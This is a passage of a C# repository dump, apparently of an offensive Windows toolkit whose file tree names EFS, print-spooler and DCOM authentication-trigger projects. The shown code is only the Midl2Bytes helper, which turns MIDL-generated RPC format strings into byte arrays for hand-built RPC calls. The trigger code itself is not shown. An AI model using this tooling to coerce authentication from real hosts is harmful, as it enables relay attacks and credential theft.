├── .gitignore ├── Images ├── dcom.png ├── efs.png ├── midl2bytes.png └── spool.png ├── Midl2Bytes ├── App.config ├── Midl2Bytes.csproj ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── RpceInterpreterOptFlags2.cs ├── RpceStubTargetPlatform.cs └── rpceprocedureheaderdescriptor.cs ├── README.md ├── SharpDcomTrigger ├── App.config ├── Com │ ├── IEnumSTATSTG.cs │ ├── ILockBytes.cs │ ├── IMarshal.cs │ ├── IStorage.cs │ ├── IStream.cs │ └── Ole32.cs ├── ObjRef.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpDcomTrigger.csproj ├── SharpDcomTrigger.csproj.user ├── StandardActivator.cs └── StorageTrigger.cs ├── SharpEfsTrigger ├── App.config ├── Midl-EFS │ ├── ms-dtyp.idl │ ├── ms-efs.idl │ ├── x64 │ │ ├── ms-efs.h │ │ ├── ms-efs_c.c │ │ └── ms-efs_s.c │ └── x86 │ │ ├── ms-efs.h │ │ ├── ms-efs_c.c │ │ └── ms-efs_s.c ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpEfsTrigger.csproj ├── SharpEfsTrigger.csproj.user ├── efs.cs ├── nativemethods.cs └── rpcapi.cs ├── SharpSpoolTrigger ├── App.config ├── Midl-RPRN │ ├── ms-dtyp.idl │ ├── ms-rprn.idl │ ├── x64 │ │ ├── ms-rprn.h │ │ ├── ms-rprn_c.c │ │ └── ms-rprn_s.c │ └── x86 │ │ ├── ms-rprn.h │ │ ├── ms-rprn_c.c │ │ └── ms-rprn_s.c ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpSpoolTrigger.csproj ├── SharpSpoolTrigger.user ├── nativemethods.cs ├── rpcapi.cs └── spool.cs └── SharpSystemTriggers.sln /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.tlog 94 | *.vspscc 95 | *.vssscc 96 | .builds 97 | *.pidb 98 | *.svclog 99 | *.scc 100 | 101 | # Chutzpah Test files 102 | _Chutzpah* 103 | 104 | # Visual C++ cache files 105 | ipch/ 106 | *.aps 107 | *.ncb 108 | *.opendb 109 | *.opensdf 110 | *.sdf 111 | *.cachefile 112 | *.VC.db 113 | *.VC.VC.opendb 114 | 115 | # Visual Studio profiler 116 | *.psess 117 | *.vsp 118 | *.vspx 119 | *.sap 120 | 121 | # Visual Studio Trace Files 122 | *.e2e 123 | 124 | # TFS 2012 Local Workspace 125 | $tf/ 126 | 127 | # Guidance Automation Toolkit 128 | *.gpState 129 | 130 | # ReSharper is a .NET coding add-in 131 | _ReSharper*/ 132 | *.[Rr]e[Ss]harper 133 | *.DotSettings.user 134 | 135 | # TeamCity is a build add-in 136 | _TeamCity* 137 | 138 | # DotCover is a Code Coverage Tool 139 | *.dotCover 140 | 141 | # AxoCover is a Code Coverage Tool 142 | .axoCover/* 143 | !.axoCover/settings.json 144 | 145 | # Coverlet is a free, cross platform Code Coverage Tool 146 | coverage*.json 147 | coverage*.xml 148 | coverage*.info 149 | 150 | # Visual Studio code coverage results 151 | *.coverage 152 | *.coveragexml 153 | 154 | # NCrunch 155 | _NCrunch_* 156 | .*crunch*.local.xml 157 | nCrunchTemp_* 158 | 159 | # MightyMoose 160 | *.mm.* 161 | AutoTest.Net/ 162 | 163 | # Web workbench (sass) 164 | .sass-cache/ 165 | 166 | # Installshield output folder 167 | [Ee]xpress/ 168 | 169 | # DocProject is a documentation generator add-in 170 | DocProject/buildhelp/ 171 | DocProject/Help/*.HxT 172 | DocProject/Help/*.HxC 173 | DocProject/Help/*.hhc 174 | DocProject/Help/*.hhk 175 | DocProject/Help/*.hhp 176 | DocProject/Help/Html2 177 | DocProject/Help/html 178 | 179 | # Click-Once directory 180 | publish/ 181 | 182 | # Publish Web Output 183 | *.[Pp]ublish.xml 184 | *.azurePubxml 185 | # Note: Comment the next line if you want to checkin your web deploy settings, 186 | # but database connection strings (with potential passwords) will be unencrypted 187 | *.pubxml 188 | *.publishproj 189 | 190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 191 | # checkin your Azure Web App publish settings, but sensitive information contained 192 | # in these scripts will be unencrypted 193 | PublishScripts/ 194 | 195 | # NuGet Packages 196 | *.nupkg 197 | # NuGet Symbol Packages 198 | *.snupkg 199 | # The packages folder can be ignored because of Package Restore 200 | **/[Pp]ackages/* 201 | # except build/, which is used as an MSBuild target. 202 | !**/[Pp]ackages/build/ 203 | # Uncomment if necessary however generally it will be regenerated when needed 204 | #!**/[Pp]ackages/repositories.config 205 | # NuGet v3's project.json files produces more ignorable files 206 | *.nuget.props 207 | *.nuget.targets 208 | 209 | # Microsoft Azure Build Output 210 | csx/ 211 | *.build.csdef 212 | 213 | # Microsoft Azure Emulator 214 | ecf/ 215 | rcf/ 216 | 217 | # Windows Store app package directories and files 218 | AppPackages/ 219 | BundleArtifacts/ 220 | Package.StoreAssociation.xml 221 | _pkginfo.txt 222 | *.appx 223 | *.appxbundle 224 | *.appxupload 225 | 226 | # Visual Studio cache files 227 | # files ending in .cache can be ignored 228 | *.[Cc]ache 229 | # but keep track of directories ending in .cache 230 | !?*.[Cc]ache/ 231 | 232 | # Others 233 | ClientBin/ 234 | ~$* 235 | *~ 236 | *.dbmdl 237 | *.dbproj.schemaview 238 | *.jfm 239 | *.pfx 240 | *.publishsettings 241 | orleans.codegen.cs 242 | 243 | # Including strong name files can present a security risk 244 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 245 | #*.snk 246 | 247 | # Since there are multiple workflows, uncomment next line to ignore bower_components 248 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 249 | #bower_components/ 250 | 251 | # RIA/Silverlight projects 252 | Generated_Code/ 253 | 254 | # Backup & report files from converting an old project file 255 | # to a newer Visual Studio version. Backup files are not needed, 256 | # because we have git ;-) 257 | _UpgradeReport_Files/ 258 | Backup*/ 259 | UpgradeLog*.XML 260 | UpgradeLog*.htm 261 | ServiceFabricBackup/ 262 | *.rptproj.bak 263 | 264 | # SQL Server files 265 | *.mdf 266 | *.ldf 267 | *.ndf 268 | 269 | # Business Intelligence projects 270 | *.rdl.data 271 | *.bim.layout 272 | *.bim_*.settings 273 | *.rptproj.rsuser 274 | *- [Bb]ackup.rdl 275 | *- [Bb]ackup ([0-9]).rdl 276 | *- [Bb]ackup ([0-9][0-9]).rdl 277 | 278 | # Microsoft Fakes 279 | FakesAssemblies/ 280 | 281 | # GhostDoc plugin setting file 282 | *.GhostDoc.xml 283 | 284 | # Node.js Tools for Visual Studio 285 | .ntvs_analysis.dat 286 | node_modules/ 287 | 288 | # Visual Studio 6 build log 289 | *.plg 290 | 291 | # Visual Studio 6 workspace options file 292 | *.opt 293 | 294 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 295 | *.vbw 296 | 297 | # Visual Studio 6 auto-generated project file (contains which files were open etc.) 298 | *.vbp 299 | 300 | # Visual Studio 6 workspace and project file (working project files containing files to include in project) 301 | *.dsw 302 | *.dsp 303 | 304 | # Visual Studio 6 technical files 305 | *.ncb 306 | *.aps 307 | 308 | # Visual Studio LightSwitch build output 309 | **/*.HTMLClient/GeneratedArtifacts 310 | **/*.DesktopClient/GeneratedArtifacts 311 | **/*.DesktopClient/ModelManifest.xml 312 | **/*.Server/GeneratedArtifacts 313 | **/*.Server/ModelManifest.xml 314 | _Pvt_Extensions 315 | 316 | # Paket dependency manager 317 | .paket/paket.exe 318 | paket-files/ 319 | 320 | # FAKE - F# Make 321 | .fake/ 322 | 323 | # CodeRush personal settings 324 | .cr/personal 325 | 326 | # Python Tools for Visual Studio (PTVS) 327 | __pycache__/ 328 | *.pyc 329 | 330 | # Cake - Uncomment if you are using it 331 | # tools/** 332 | # !tools/packages.config 333 | 334 | # Tabs Studio 335 | *.tss 336 | 337 | # Telerik's JustMock configuration file 338 | *.jmconfig 339 | 340 | # BizTalk build output 341 | *.btp.cs 342 | *.btm.cs 343 | *.odx.cs 344 | *.xsd.cs 345 | 346 | # OpenCover UI analysis results 347 | OpenCover/ 348 | 349 | # Azure Stream Analytics local run output 350 | ASALocalRun/ 351 | 352 | # MSBuild Binary and Structured Log 353 | *.binlog 354 | 355 | # NVidia Nsight GPU debugger configuration file 356 | *.nvuser 357 | 358 | # MFractors (Xamarin productivity tool) working folder 359 | .mfractor/ 360 | 361 | # Local History for Visual Studio 362 | .localhistory/ 363 | 364 | # Visual Studio History (VSHistory) files 365 | .vshistory/ 366 | 367 | # BeatPulse healthcheck temp database 368 | healthchecksdb 369 | 370 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 371 | MigrationBackup/ 372 | 373 | # Ionide (cross platform F# VS Code tools) working folder 374 | .ionide/ 375 | 376 | # Fody - auto-generated XML schema 377 | FodyWeavers.xsd 378 | 379 | # VS Code files for those working on multiple tools 380 | .vscode/* 381 | !.vscode/settings.json 382 | !.vscode/tasks.json 383 | !.vscode/launch.json 384 | !.vscode/extensions.json 385 | *.code-workspace 386 | 387 | # Local History for Visual Studio Code 388 | .history/ 389 | 390 | # Windows Installer files from build outputs 391 | *.cab 392 | *.msi 393 | *.msix 394 | *.msm 395 | *.msp 396 | 397 | # JetBrains Rider 398 | *.sln.iml 399 | 400 | 401 | ### macOS ### 402 | # General 403 | .DS_Store 404 | .AppleDouble 405 | .LSOverride 406 | 407 | # Icon must end with two \r 408 | Icon 409 | 410 | 411 | # Thumbnails 412 | ._* 413 | 414 | # Files that might appear in the root of a volume 415 | .DocumentRevisions-V100 416 | .fseventsd 417 | .Spotlight-V100 418 | .TemporaryItems 419 | .Trashes 420 | .VolumeIcon.icns 421 | .com.apple.timemachine.donotpresent 422 | 423 | # Directories potentially created on remote AFP share 424 | .AppleDB 425 | .AppleDesktop 426 | Network Trash Folder 427 | Temporary Items 428 | .apdisk 429 | 430 | ### macOS Patch ### 431 | # iCloud generated files 432 | *.icloud 433 | 434 | ### Windows ### 435 | # Windows thumbnail cache files 436 | Thumbs.db 437 | Thumbs.db:encryptable 438 | ehthumbs.db 439 | ehthumbs_vista.db 440 | 441 | # Dump file 442 | *.stackdump 443 | 444 | # Folder config file 445 | [Dd]esktop.ini 446 | 447 | # Recycle Bin used on file shares 448 | $RECYCLE.BIN/ 449 | 450 | # Windows Installer files 451 | *.cab 452 | *.msi 453 | *.msix 454 | *.msm 455 | *.msp 456 | 457 | # Windows shortcuts 458 | *.lnk 459 | -------------------------------------------------------------------------------- /Images/dcom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpSystemTriggers/1c71a831046f35f82edad90ae62015f48192c76d/Images/dcom.png -------------------------------------------------------------------------------- /Images/efs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpSystemTriggers/1c71a831046f35f82edad90ae62015f48192c76d/Images/efs.png -------------------------------------------------------------------------------- /Images/midl2bytes.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpSystemTriggers/1c71a831046f35f82edad90ae62015f48192c76d/Images/midl2bytes.png -------------------------------------------------------------------------------- /Images/spool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpSystemTriggers/1c71a831046f35f82edad90ae62015f48192c76d/Images/spool.png -------------------------------------------------------------------------------- /Midl2Bytes/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Midl2Bytes/Midl2Bytes.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {6A176D55-CEED-4128-B3E1-5A5D4D4F5158} 8 | Exe 9 | Midl2Bytes 10 | Midl2Bytes 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | -------------------------------------------------------------------------------- /Midl2Bytes/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Globalization; 4 | using System.IO; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Text.RegularExpressions; 8 | 9 | namespace Midl2Bytes 10 | { 11 | //https://github.com/microsoft/WindowsProtocolTestSuites/blob/main/ProtoSDK/MS-RPCE/Stub/RpceStubHelper.cs 12 | internal class Program 13 | { 14 | private static void Main(string[] args) 15 | { 16 | string[] content; 17 | if (args.Length < 1) 18 | { 19 | Console.WriteLine("Midl2Bytes.exe "); 20 | Console.WriteLine("Midl2Bytes.exe .\\x64\\ms-rprn_c.c"); 21 | return; 22 | } 23 | if (File.Exists(args[0])) 24 | { 25 | content = File.ReadAllLines(args[0]); 26 | } 27 | else 28 | { 29 | Console.WriteLine("Could not find file"); 30 | Console.WriteLine("Midl2Bytes "); 31 | return; 32 | } 33 | bool c = false; 34 | string architecture = "64"; 35 | string typeFormatString = ""; 36 | string procFormatString = ""; 37 | 38 | foreach (string line in content) 39 | { 40 | if (line.Contains("_MIDL_TypeFormatString =")) 41 | { 42 | c = true; 43 | } 44 | if (c) 45 | { 46 | typeFormatString += $"{line}\n"; 47 | } 48 | if (line.Contains(" };")) 49 | { 50 | c = false; 51 | } 52 | if (line.Contains(" x86 Stack size/offset ")) 53 | { 54 | architecture = "86"; 55 | } 56 | } 57 | foreach (string line in content) 58 | { 59 | if (line.Contains("_MIDL_ProcFormatString =")) 60 | { 61 | c = true; 62 | } 63 | if (c) 64 | { 65 | procFormatString += $"{line}\n"; 66 | } 67 | if (line.Contains(" };")) 68 | { 69 | c = false; 70 | } 71 | if (line.Contains(" x86 Stack size/offset ")) 72 | { 73 | architecture = "86"; 74 | } 75 | } 76 | 77 | try 78 | { 79 | //Console.WriteLine(typeFormatString); 80 | byte[] typeFormatStringBytes = RpceStubHelper.CreateFormatStringByteArray(typeFormatString); 81 | Console.WriteLine($"private static byte[] MIDL_TypeFormatStringx{architecture} = new byte[] {{" + PrintHexBytes(typeFormatStringBytes).TrimEnd(new char[] { ' ', ',' }) + "};"); 82 | 83 | //Console.WriteLine(typeFormatString); 84 | byte[] ProcFormatStringBytes = RpceStubHelper.CreateFormatStringByteArray(procFormatString); 85 | Console.WriteLine($"private static byte[] MIDL_ProcFormatStringx{architecture} = new byte[] {{" + PrintHexBytes(ProcFormatStringBytes).TrimEnd(new char[] { ' ', ',' }) + "};"); 86 | } 87 | catch (Exception e) 88 | { 89 | Console.WriteLine(e.Message); 90 | } 91 | } 92 | 93 | public static string PrintHexBytes(byte[] byteArray) 94 | { 95 | var res = new StringBuilder(byteArray.Length * 3); 96 | for (var i = 0; i < byteArray.Length; i++) 97 | res.AppendFormat(NumberFormatInfo.InvariantInfo, "0x{0:x2}, ", byteArray[i]); 98 | return res.ToString(); 99 | } 100 | } 101 | 102 | /// 103 | /// Helper class for encode/decode RPC stub. 104 | /// 105 | public static class RpceStubHelper 106 | { 107 | /// 108 | /// Get a byte array from the format string generated by midl.exe. 109 | /// Example: Regarding following code generated by midl.exe 110 | /// static const foo_MIDL_TYPE_FORMAT_STRING foo__MIDL_TypeFormatString = 111 | /// { 112 | /// 0, 113 | /// { 114 | /// NdrFcShort( 0x0 ), /* 0 */ 115 | /// /* 2 */ 116 | /// 0x11, 0x0, /* FC_RP */ 117 | /// /* 4 */ 118 | /// NdrFcShort( 0x10 ), /* Offset= 16 (20) */ 119 | /// /* 6 */ 120 | /// 0x1c, /* FC_CVARRAY */ 121 | /// ... 122 | /// } 123 | /// }; 124 | /// The formatString parameter should be a substring 125 | /// start from "NdrFcShort(0x0)" and end at first"}". 126 | /// 127 | /// 128 | /// A format string generated by midl.exe. See method help for details. 129 | /// 130 | /// A byte array of the format string passed to the method. 131 | public static byte[] CreateFormatStringByteArray(string formatString) 132 | { 133 | int index = 0; 134 | List formatStringBuffer = new List(); 135 | Regex regex = new Regex(@" 136 | 0x (?[0-9a-fA-F]{1,2}) \s* , 137 | | 138 | NdrFcShort \( \s* 0x (?[0-9a-fA-F]{1,4}) \s* \) 139 | | 140 | NdrFcLong \( \s* 0x (?[0-9a-fA-F]+) \s* \) 141 | | 142 | \n \/\* \s* (?\d+)* \s* \*\/ 143 | | 144 | \/\* .* \*\/ 145 | ", 146 | RegexOptions.IgnorePatternWhitespace); 147 | 148 | while (true) 149 | { 150 | Match match = regex.Match(formatString, index); 151 | if (!match.Success) 152 | { 153 | break; 154 | } 155 | else if (match.Groups["byte"].Success) 156 | { 157 | byte value = Convert.ToByte(match.Groups["byte"].Value, 16); 158 | formatStringBuffer.Add(value); 159 | } 160 | else if (match.Groups["short"].Success) 161 | { 162 | ushort value = Convert.ToUInt16(match.Groups["short"].Value, 16); 163 | formatStringBuffer.Add((byte)(value & 0xff)); 164 | formatStringBuffer.Add((byte)(value >> 8)); 165 | } 166 | else if (match.Groups["long"].Success) 167 | { 168 | uint value = Convert.ToUInt32(match.Groups["long"].Value, 16); 169 | formatStringBuffer.Add((byte)(value & 0xff)); 170 | formatStringBuffer.Add((byte)((value >> 8) & 0xff)); 171 | formatStringBuffer.Add((byte)((value >> 16) & 0xff)); 172 | formatStringBuffer.Add((byte)(value >> 24)); 173 | } 174 | else if (match.Groups["offset"].Success) 175 | { 176 | int offset = Convert.ToInt32(match.Groups["offset"].Value); 177 | if (formatStringBuffer.Count != offset) 178 | throw new InvalidOperationException(); 179 | } 180 | index = match.Index + match.Length; 181 | } 182 | 183 | return formatStringBuffer.ToArray(); 184 | } 185 | 186 | /// 187 | /// Parse procedure header a from byte array to structure. 188 | /// 189 | /// Proc format string. 190 | /// Offset of a procedure in procFormatString. 191 | /// The RpceProcedureHeaderDescriptor. 192 | public static RpceProcedureHeaderDescriptor ParseProcedureHeaderDescriptor( 193 | byte[] procFormatString, 194 | ref int offset) 195 | { 196 | //handle_type<1> 197 | //Oi_flags<1> 198 | //[rpc_flags<4>] 199 | //proc_num<2> 200 | //stack_size<2> 201 | //[explicit_handle_description<>] 202 | //constant_client_buffer_size<2> 203 | //constant_server_buffer_size<2> 204 | //INTERPRETER_OPT_FLAGS<1> 205 | //number_of_params<1> 206 | //extension_size<1> 207 | //[extension] 208 | 209 | const byte FC_BIND_PRIMITIVE = 0x32; 210 | const int PRIMITIVE_HANDLE_LENGTH = 4; 211 | const int OTHER_HANDLE_LENGTH = 6; 212 | const byte OI_HAS_RPCFLAGS = 0x08; 213 | const int EXTENSION_SIZE = 8; 214 | 215 | RpceProcedureHeaderDescriptor procHeaderDesc = new RpceProcedureHeaderDescriptor(); 216 | 217 | procHeaderDesc.HandleType = procFormatString[offset]; 218 | offset += Marshal.SizeOf(procHeaderDesc.HandleType); 219 | procHeaderDesc.OiFlags = procFormatString[offset]; 220 | offset += Marshal.SizeOf(procHeaderDesc.OiFlags); 221 | if ((procHeaderDesc.OiFlags & OI_HAS_RPCFLAGS) != 0) 222 | { 223 | procHeaderDesc.RpcFlags = BitConverter.ToUInt32(procFormatString, offset); 224 | offset += Marshal.SizeOf(procHeaderDesc.RpcFlags.Value); 225 | } 226 | procHeaderDesc.ProcNum = BitConverter.ToUInt16(procFormatString, offset); 227 | offset += Marshal.SizeOf(procHeaderDesc.ProcNum); 228 | procHeaderDesc.StackSize = BitConverter.ToUInt16(procFormatString, offset); 229 | offset += Marshal.SizeOf(procHeaderDesc.StackSize); 230 | if (procHeaderDesc.HandleType == 0) // explicit handle 231 | { 232 | int length = (procFormatString[offset] == FC_BIND_PRIMITIVE) 233 | ? PRIMITIVE_HANDLE_LENGTH 234 | : OTHER_HANDLE_LENGTH; 235 | procHeaderDesc.ExplicitHandleDescription = ArrayUtility.SubArray(procFormatString, offset, length); 236 | offset += length; 237 | } 238 | procHeaderDesc.ClientBufferSize = BitConverter.ToUInt16(procFormatString, offset); 239 | offset += Marshal.SizeOf(procHeaderDesc.ClientBufferSize); 240 | procHeaderDesc.ServerBufferSize = BitConverter.ToUInt16(procFormatString, offset); 241 | offset += Marshal.SizeOf(procHeaderDesc.ServerBufferSize); 242 | procHeaderDesc.InterpreterOptFlags = procFormatString[offset]; 243 | offset += Marshal.SizeOf(procHeaderDesc.InterpreterOptFlags); 244 | procHeaderDesc.NumberOfParams = procFormatString[offset]; 245 | offset += Marshal.SizeOf(procHeaderDesc.NumberOfParams); 246 | byte extensionSize = procFormatString[offset]; 247 | if (extensionSize >= EXTENSION_SIZE) 248 | { 249 | procHeaderDesc.ExtensionSize = extensionSize; 250 | offset += Marshal.SizeOf(procHeaderDesc.ExtensionSize.Value); 251 | procHeaderDesc.ExtensionFlags2 = (RpceInterpreterOptFlags2)procFormatString[offset]; 252 | offset += Marshal.SizeOf((byte)procHeaderDesc.ExtensionFlags2); 253 | procHeaderDesc.ExtensionClientCorrHint = BitConverter.ToUInt16(procFormatString, offset); 254 | offset += Marshal.SizeOf(procHeaderDesc.ExtensionClientCorrHint.Value); 255 | procHeaderDesc.ExtensionServerCorrHint = BitConverter.ToUInt16(procFormatString, offset); 256 | offset += Marshal.SizeOf(procHeaderDesc.ExtensionServerCorrHint.Value); 257 | procHeaderDesc.ExtensionNotifyIndex = BitConverter.ToUInt16(procFormatString, offset); 258 | offset += Marshal.SizeOf(procHeaderDesc.ExtensionNotifyIndex.Value); 259 | offset += extensionSize - EXTENSION_SIZE; 260 | } 261 | else 262 | { 263 | offset += extensionSize; 264 | } 265 | 266 | return procHeaderDesc; 267 | } 268 | 269 | public static class ArrayUtility 270 | { 271 | /// 272 | /// Compares two arrays 273 | /// 274 | /// 275 | /// Type of array, must implement IComparable<T> interface 276 | /// 277 | /// The first array 278 | /// The second array 279 | /// True if the two arrays are equal, false otherwise 280 | public static bool CompareArrays(T[] array1, T[] array2) where T : IComparable 281 | { 282 | // Reference equal 283 | if (array1 == array2) 284 | { 285 | return true; 286 | } 287 | // one of the arrays is null 288 | if (array1 == null || array2 == null) 289 | { 290 | return false; 291 | } 292 | // The two arrays have different size 293 | if (array1.Length != array2.Length) 294 | { 295 | return false; 296 | } 297 | for (int i = 0; i < array1.Length; i++) 298 | { 299 | if (array1[i].CompareTo(array2[i]) != 0) 300 | { 301 | return false; 302 | } 303 | } 304 | return true; 305 | } 306 | 307 | public static T[] SubArray(T[] array, int startIndex, int length) 308 | { 309 | T[] subArray = new T[length]; 310 | Array.Copy(array, startIndex, subArray, 0, length); 311 | 312 | return subArray; 313 | } 314 | } 315 | } 316 | } -------------------------------------------------------------------------------- /Midl2Bytes/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.InteropServices; 3 | 4 | // General Information about an assembly is controlled through the following 5 | // set of attributes. Change these attribute values to modify the information 6 | // associated with an assembly. 7 | [assembly: AssemblyTitle("Midl2Bytes")] 8 | [assembly: AssemblyDescription("")] 9 | [assembly: AssemblyConfiguration("")] 10 | [assembly: AssemblyCompany("")] 11 | [assembly: AssemblyProduct("Midl2Bytes")] 12 | [assembly: AssemblyCopyright("Copyright © 2021")] 13 | [assembly: AssemblyTrademark("")] 14 | [assembly: AssemblyCulture("")] 15 | 16 | // Setting ComVisible to false makes the types in this assembly not visible 17 | // to COM components. If you need to access a type in this assembly from 18 | // COM, set the ComVisible attribute to true on that type. 19 | [assembly: ComVisible(false)] 20 | 21 | // The following GUID is for the ID of the typelib if this project is exposed to COM 22 | [assembly: Guid("6a176d55-ceed-4128-b3e1-5a5d4d4f5158")] 23 | 24 | // Version information for an assembly consists of the following four values: 25 | // 26 | // Major Version 27 | // Minor Version 28 | // Build Number 29 | // Revision 30 | // 31 | // You can specify all the values or you can default the Build and Revision Numbers 32 | // by using the '*' as shown below: 33 | // [assembly: AssemblyVersion("1.0.*")] 34 | [assembly: AssemblyVersion("1.0.0.0")] 35 | [assembly: AssemblyFileVersion("1.0.0.0")] -------------------------------------------------------------------------------- /Midl2Bytes/RpceInterpreterOptFlags2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Midl2Bytes 4 | { 5 | /// 6 | /// interpreter_opt_flags in header of a RPC procedure. 7 | /// http://msdn.microsoft.com/en-us/library/aa378707(VS.85).aspx 8 | /// 9 | //[SuppressMessage("Microsoft.Design", "CA1028:EnumStorageShouldBeInt32")] 10 | [Flags] 11 | public enum RpceInterpreterOptFlags2 : byte 12 | { 13 | /// 14 | /// indicates whether new correlation descriptors are used in the format strings. 15 | /// 16 | HasNewCorrDesc = 0x01, 17 | 18 | /// 19 | /// set when the routine needs the correlation check on client. 20 | /// 21 | ClientCorrCheck = 0x02, 22 | 23 | /// 24 | /// set when the routine needs the correlation check on server. 25 | /// 26 | ServerCorrCheck = 0x04, 27 | 28 | /// 29 | /// indicate that the routine uses the notify feature as defined by the [notify] attribute. 30 | /// 31 | HasNotify = 0x08, 32 | 33 | /// 34 | /// indicate that the routine uses the notify feature as defined by the [notify_flag] attribute. 35 | /// 36 | HasNotify2 = 0x10, 37 | 38 | /// 39 | /// return value is complex. 40 | /// 41 | HasComplexReturn = 0x20, 42 | 43 | /// 44 | /// there's conformance range. 45 | /// 46 | HasConformanceRange = 0x40, 47 | 48 | /// 49 | /// there's big by value parameter. 50 | /// 51 | HasBigByValueParam = 0x80, 52 | } 53 | } -------------------------------------------------------------------------------- /Midl2Bytes/RpceStubTargetPlatform.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace Midl2Bytes 4 | { 5 | /// 6 | /// Target platform to build a RPC stub. 7 | /// If target platform doesn't match actually running system, 8 | /// program should throw an exception. 9 | /// 10 | [Flags] 11 | public enum RpceStubTargetPlatform 12 | { 13 | /// 14 | /// Target platform is x86. 15 | /// 16 | X86 = 1, 17 | 18 | /// 19 | /// Target platform is amd64. 20 | /// 21 | Amd64 = 2 22 | } 23 | } -------------------------------------------------------------------------------- /Midl2Bytes/rpceprocedureheaderdescriptor.cs: -------------------------------------------------------------------------------- 1 | namespace Midl2Bytes 2 | { 3 | /// 4 | /// RPCE Procedure Header Descriptor. 5 | /// The header has been extended several times over the life of the NDR engine. 6 | /// The current compiler still generates different headers depending on the mode 7 | /// of the compiler. However, more recent headers are a superset of the older ones. 8 | /// http://msdn.microsoft.com/en-us/library/aa374387(VS.85).aspx 9 | /// 10 | public struct RpceProcedureHeaderDescriptor 11 | { 12 | /// 13 | /// The handle_type can be one of the values shown in the following table. 14 | /// FC_BIND_GENERIC: 31 15 | /// FC_BIND_PRIMITIVE: 32 16 | /// FC_AUTO_HANDLE: 33 17 | /// FC_CALLBACK_HANDLE: 34 18 | /// explicit handle: 0 19 | /// 20 | public byte HandleType; 21 | 22 | /// 23 | /// The Oi_flags field is an 8-bit mask of the following flags. 24 | /// Oi_FULL_PTR_USED: 0x01: Uses the full pointer package. 25 | /// Oi_RPCSS_ALLOC_USED: 0x02 : Uses the RpcSs memory package. 26 | /// Oi_OBJECT_PROC: 0x04: A procedure in an object interface. 27 | /// Oi_HAS_RPCFLAGS: 0x08: The procedure has nonzero Rpc flags. 28 | /// ENCODE_IS_USED: 0x10: Overloaded, Used only in pickling. 29 | /// DECODE_IS_USED: 0x20: Overloaded, Used only in pickling. 30 | /// Oi_IGNORE_OBJECT_EXCEPTION_HANDLING: 0x10: Overloaded, Not used anymore (old OLE). 31 | /// Oi_HAS_COMM_OR_FAULT: 0x20: Overloaded, In raw RPC only, [comm _, fault_status]. 32 | /// Oi_OBJ_USE_V2_INTERPRETER: 0x20: overloaded, In DCOM only, 